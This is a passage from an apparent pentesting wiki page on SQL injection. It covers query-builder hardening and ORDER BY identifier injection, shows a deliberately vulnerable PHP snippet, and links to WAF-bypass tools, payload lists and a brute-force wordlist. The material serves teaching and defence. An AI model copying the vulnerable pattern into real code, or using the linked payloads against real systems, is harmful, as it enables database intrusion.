    700 Hardening must happen before query construction: reject unknown fields and non-primitive identifier values, rebuild permitted query nodes server-side from an allow-list, and never deserialize a request object directly into a builder DSL. Keep `:raw` expressions limited to static trusted application code; use bound values (or HoneySQL `:lift` when a map/sequence is genuinely database data) for attacker-influenced values.<sup>[[14]](#references)[[16]](#references)</sup>
    701 
    702 ### ORDER BY / identifier-based SQLi (PDO limitation)
    703 
    704 Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.<sup>[[12]](#references)</sup>
    705 
    706 Vulnerable pattern:
    707 
    708 ```php
    709 $sort = $_POST['sort'];
    710 $q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
    711 $stmt = $pdo->prepare($q);
    712 $stmt->execute([$user_id]);
    713 ```
    714 
    715 Signals in traffic:
    716 
    717 - Sort parameter in **POST** (often `sort=column`), not a fixed allow-list.
    718 - Changing `sort` breaks the query or alters output ordering.
    719 
    720 
    721 ### WAF bypass suggester tools
    722 
    723 
    724 [Atlas](https%3A//github.com/m4ll0k/Atlas)
    725 
    726 ## Other Guides
    727 
    728 - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
    729 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)<sup>[[1]](#references)</sup>
    730 
    731 ## Brute-Force Detection List
    732 
    733 
    734 [Sqli.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt)
    735 
    736 ## References
    737 
    738 - [1] [PayloadsAllTheThings – SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
    739 - [2] [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)
    740 - [3] [SQL Truncation Attack (Lucideus)](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html)
    741 - [4] [SQL Truncation Attack (InfoSec Institute)](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
    742 - [5] [SQL Truncation Attack - updated behavior on modern MySQL](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
    743 - [6] [Routed SQL Injection (paper)](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)
    744 - [7] [WAF Bypass cheat sheet - PayLoadAllTheThings (Ne3o1 fork)](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
    745 - [8] [A scientific notation bug in MySQL left AWS WAF clients vulnerable to SQL injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
    746 - [9] [33C3 CTF Writeup - Shia](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
    747 - [10] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
    748 - [11] [CVE-2026-22730: SQL Injection in Spring AI's MariaDB Vector Store](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/)
    749 - [12] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
    750 - [13] [Metabase advisory GHSA-vwf4-m7j8-wcjf](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf)
    751 - [14] [HoneySQL special syntax: `raw` and `lift`](https://github.com/seancorfield/honeysql/blob/develop/doc/special-syntax.md)
    752 - [15] [Metabase security update and attack pattern](https://www.metabase.com/blog/security-update)
    753 - [16] [CVE-2026-72898: Critical Metabase Unauthenticated SQL Injection Vulnerability](https://offsec.com/blog/cve-2026-72898-2)